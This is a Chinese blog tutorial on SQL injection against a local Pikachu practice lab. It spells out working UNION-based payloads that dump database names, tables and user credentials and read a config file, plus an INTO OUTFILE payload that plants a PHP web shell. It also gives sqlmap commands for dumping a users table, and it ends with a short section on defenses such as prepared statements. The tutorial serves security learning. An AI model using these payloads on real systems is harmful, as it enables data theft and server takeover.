网络安全那点事-SQL注入篇

有人说,技术分享就像找女朋友一样,不是靠追的,而要靠吸引!

安全案列介绍

SQL注入攻击案列


  • WordPress是一个用PHP编写的免费开源内容管理系统,由于clean_query函数的校验不当,导致了可能通过插件或主题以某种方式从而触发SQL注入的情况。这已经在WordPress5.8.3中进行了修复。影响版本可以追溯到3.7.37。

  • Discuz!系列全版本,截止到 Discuz! 3.4 R20191201 UTF-8。注入路径:登录后台,点击站长-》UCenter设置-》UCenter应用ID,存在注入漏洞

SQL注入

SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。

经典注入方式

1. id=1 order by n#
 #确定注入点语句的列数,后续构建union语句需要相同数量的字段
image.png
2. id=1 union select database(),2#
 #确定数据库名
image.png
3. id=1 union select group_concat(table_name),2 from information_schema.tables where table_schema=database()#
  #确定表有哪些
image.png
4. id=1 union select group_concat(column_name),2 from information_schema.columns where table_name='users'#
  #确定数据列
image.png
5. id=1 union select username,password from users#
  #获取数据
image.png
6. id=1 union select load_file('D:/www/pikachu/inc/config.inc.php'),1 from users#
  #读取文件

secure_file_priv特性
secure-file-priv参数是用来限制LOAD DATA, SELECT ... OUTFILE, and LOAD_FILE()传到哪个指定目录的。
ure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制
可通过show global variables like '%secure%'; 查看mysql设置

7. id=1 union select 1,'<?php assert($_POST[1]);?>' into outfile 'D:/www/pikachu/1.php'#
  #写入攻击脚本
为所欲为.jpg

借助sqlmap注入

提前准备

  • python环境
# 笔者这里使用python2.7 
wget https://www.python.org/ftp/python/2.7.13/Python-2.7.13.tgz
tar -zvxf Python-2.7.13.tgz
./configure
make 
sudo make installl
  • sqlmap
#linux下git直接安装
gitclone --depth 1 [https://github.com/sqlmapproject/sqlmap.git](https://github.com/sqlmapproject/sqlmap.git) sqlmap-dev

执行python sqlmap.py -h检测时报错

missing one or more core extensions ('bz2', 'sqlite3') most likely ...
bz2安装
sudo apt-get install libbz2-dev
sqlite3安装
wget http://www.sqlite.org/sqlite-3.5.6.tar.gz
tar -zvxf sqlite-3.5.6.tar.gz
./configure
make
sudo make installl
重新编译安装python

注入操作

#获取数据库
python sqlmap.py -u "http://local.pikachu.com/vul/sqli/sqli_str.php?name=kobe&submit=%E6%9F%A5%E8%AF%A2" --batch --current-db
python sqlmap.py -u "http://local.pikachu.com/vul/sqli/sqli_str.php?name=kobe&submit=%E6%9F%A5%E8%AF%A2" --batch --dbs
所有库
#获取数据库所有表
python sqlmap.py -u "http://local.pikachu.com/vul/sqli/sqli_str.php?name=kobe&submit=%E6%9F%A5%E8%AF%A2" -D pikachu --tables --batch
所有表
#获取table列
python sqlmap.py -u "http://local.pikachu.com/vul/sqli/sqli_str.php?name=kobe&submit=%E6%9F%A5%E8%AF%A2" -D pikachu -T users --columns --batch
表字段
#获取表内容数据
python sqlmap.py -u "http://local.pikachu.com/vul/sqli/sqli_str.php?name=kobe&submit=%E6%9F%A5%E8%AF%A2" -D pikachu -T users -C username,password -dump --batch
表数据.png

SQL注入防御

在构建代码时,一般会从如下几个方面的策略来防止SQL注入漏洞:

  1. 限制数据类型
  2. 参数过滤
  3. 函数过滤转义
    在php中最基本的就是自带的magic_quotes_gpc函数,用于处理 ’ " 符号加上/ 防止转义
  4. 预编译语句
    一般来说,防御SQL注入的最佳方式就是使用预编译语句,绑定变量。可以理解为字符串与sql语句的关系区分开,参数此时作为字符串不会被当做之前的SQL语句被带入数据库执行,避免了类似sql语句拼接、闭合等非法操作。就相当于拿着这个字符串去数据库中找有没有这个东西一样。并且使用预编译的SQL语句,SQL语句的语义不会发生改变。
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 213,099评论 6 492
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 90,828评论 3 387
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 158,540评论 0 348
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 56,848评论 1 285
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 65,971评论 6 385
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,132评论 1 291
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,193评论 3 412
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 37,934评论 0 268
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,376评论 1 303
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,687评论 2 327
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,846评论 1 341
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,537评论 4 335
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,175评论 3 317
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,887评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,134评论 1 267
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 46,674评论 2 362
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 43,741评论 2 351

推荐阅读更多精彩内容